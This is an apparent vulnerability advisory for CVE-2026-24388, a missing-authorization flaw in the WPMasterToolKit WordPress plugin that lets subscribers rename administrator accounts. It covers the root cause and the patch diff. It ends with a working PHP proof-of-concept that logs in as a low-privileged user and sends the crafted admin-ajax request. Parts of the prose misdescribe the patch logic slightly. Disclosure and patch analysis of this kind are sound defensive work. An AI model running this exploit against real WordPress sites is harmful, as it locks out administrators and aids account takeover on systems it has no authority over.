Atomic Edge analysis of CVE-2026-24388:
The vulnerability is a missing authorization flaw in the WPMasterToolKit WordPress plugin, versions up to and including 2.14.0. This flaw allows authenticated attackers with Subscriber-level permissions or higher to perform unauthorized administrative actions, leading to a privilege escalation scenario. The CVSS score of 4.3 reflects a medium severity impact.
Atomic Edge research identifies the root cause in the `change_admin_name()` function within the file `wpmastertoolkit/admin/modules/core/class-blacklisted-usernames.php`. Before the patch, the function performed nonce verification and input sanitization but lacked any check for user capabilities. The function executed its core logic, which modifies a user’s login name in the database, for any authenticated user who provided a valid nonce and target username.
The exploitation method involves an authenticated attacker sending a crafted POST request to the WordPress admin-ajax.php endpoint. The attacker must supply the correct AJAX action hook, a valid nonce (which a Subscriber can obtain), and the `username` parameter specifying an administrator account to rename. The request targets `admin-ajax.php` with the action parameter set to `wpmtk_change_admin_name`. Successful exploitation alters the administrator’s login name, which can facilitate a denial-of-service or aid in further account takeover attacks.
The patch adds two critical authorization checks. First, it verifies the requesting user possesses either the `manage_options` or `manage_users` capability at the start of the `change_admin_name()` function. This check prevents non-administrative users from reaching the function’s logic. Second, the patch adds a validation that the target user account has the `administrator` role before allowing the username change. This prevents administrators from being demoted or having their accounts disrupted by other administrators. The version number in the main plugin file is also incremented to 2.14.1.
If exploited, this vulnerability allows a low-privileged user to modify the login name of any administrator account. This action can lock the legitimate administrator out of the WordPress dashboard if they attempt to log in with their old username. The impact is a site-specific denial-of-service against administrative access and a potential vector for further account compromise if combined with other weaknesses.
--- a/wpmastertoolkit/admin/modules/core/class-blacklisted-usernames.php
+++ b/wpmastertoolkit/admin/modules/core/class-blacklisted-usernames.php
@@ -136,6 +136,11 @@
*/
public function change_admin_name() {
+ // Check if user has admin capabilities
+ if ( ! current_user_can( 'manage_options' ) || ! current_user_can( 'manage_users' ) ) {
+ wp_send_json_error( array( 'message' => __( 'You do not have permission to perform this action.', 'wpmastertoolkit' ) ) );
+ }
+
$nonce = sanitize_text_field( wp_unslash( $_POST['nonce'] ?? '' ) );
$username = sanitize_text_field( wp_unslash( $_POST['username'] ?? '' ) );
if ( ! wp_verify_nonce( $nonce, self::NONCE ) || empty( $username ) ) {
@@ -176,6 +181,12 @@
);
}
+ // Verify the target user is an administrator
+ $user_roles = $admin_user->roles ?? array();
+ if ( ! in_array( 'administrator', $user_roles ) ) {
+ wp_send_json_error( array( 'message' => __( 'This action can only be performed on administrator accounts.', 'wpmastertoolkit' ) ) );
+ }
+
global $wpdb;
//phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
$wpdb->update( $wpdb->users, array( 'user_login' => $newusername ), array( 'ID' => $admin_user->ID ) );
--- a/wpmastertoolkit/wp-mastertoolkit.php
+++ b/wpmastertoolkit/wp-mastertoolkit.php
@@ -4,7 +4,7 @@
* Plugin Name: WPMasterToolKit
* Plugin URI: https://wpmastertoolkit.com/
* Description: WPMasterToolKit enhances your WordPress administration experience by providing a powerful suite of features designed to optimize and streamline your website management. From media enhancements to user experience improvements and security fortifications, this toolkit is essential for any WordPress site owner looking to elevate their admin interface. With easy-to-use settings and impactful tweaks, you can tailor your site's backend to your specific needs.
- * Version: 2.14.0
+ * Version: 2.14.1
* Author: Webdeclic
* Author URI: https://webdeclic.com
* License: GPL-2.0+
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24388 - WPMasterToolKit <= 2.14.0 - Missing Authorization
<?php
// CONFIGURATION
$target_url = 'https://vulnerable-site.com'; // Change this to the target WordPress site URL
$username = 'subscriber_user'; // Attacker's WordPress username
$password = 'subscriber_pass'; // Attacker's WordPress password
// Step 1: Authenticate to WordPress and obtain a valid nonce.
// The nonce for this action is typically available to any logged-in user via the admin dashboard.
// This script simulates an attacker who is already authenticated and has obtained a nonce.
// In a real scenario, the nonce could be harvested from a page the user can access.
echo "[+] Target: $target_urln";
// Initialize cURL session for WordPress login (to simulate an authenticated session)
$ch = curl_init();
$login_url = $target_url . '/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_');
// Set login POST data
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // For testing only
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if (strpos($response, 'Dashboard') === false && $http_code != 200) {
echo "[-] Login failed. Check credentials.n";
exit;
}
echo "[+] Authenticated as subscriber: $usernamen";
// Step 2: For this PoC, we assume the attacker has extracted a valid nonce.
// The nonce is generated with the action 'wpmtk_change_admin_name'.
// In a real attack, the nonce would be scraped from an admin page the subscriber can view.
// This is a placeholder; replace with a real nonce for testing.
$nonce = 'REPLACE_WITH_VALID_NONCE';
echo "[*] Using nonce: $nonce (Replace with a valid nonce from the target)n";
// Step 3: Craft the exploit payload to rename an administrator account.
// The target administrator's current username.
$admin_username = 'administrator'; // Change to the target admin's login
$new_username = 'hacked_admin';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_fields = [
'action' => 'wpmtk_change_admin_name', // The vulnerable AJAX hook
'nonce' => $nonce,
'username' => $admin_username, // Parameter from the vulnerable function
'newusername' => $new_username // The new username to set
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
unlink($cookie_file);
// Step 4: Analyze the response.
echo "[+] Exploit request sent. HTTP Code: $http_coden";
echo "[+] Response: $responsen";
if (strpos($response, 'success') !== false) {
echo "[!] SUCCESS: Administrator '$admin_username' may have been renamed to '$new_username'.n";
} else {
echo "[-] Exploit may have failed (or the nonce was invalid).n";
}
?>
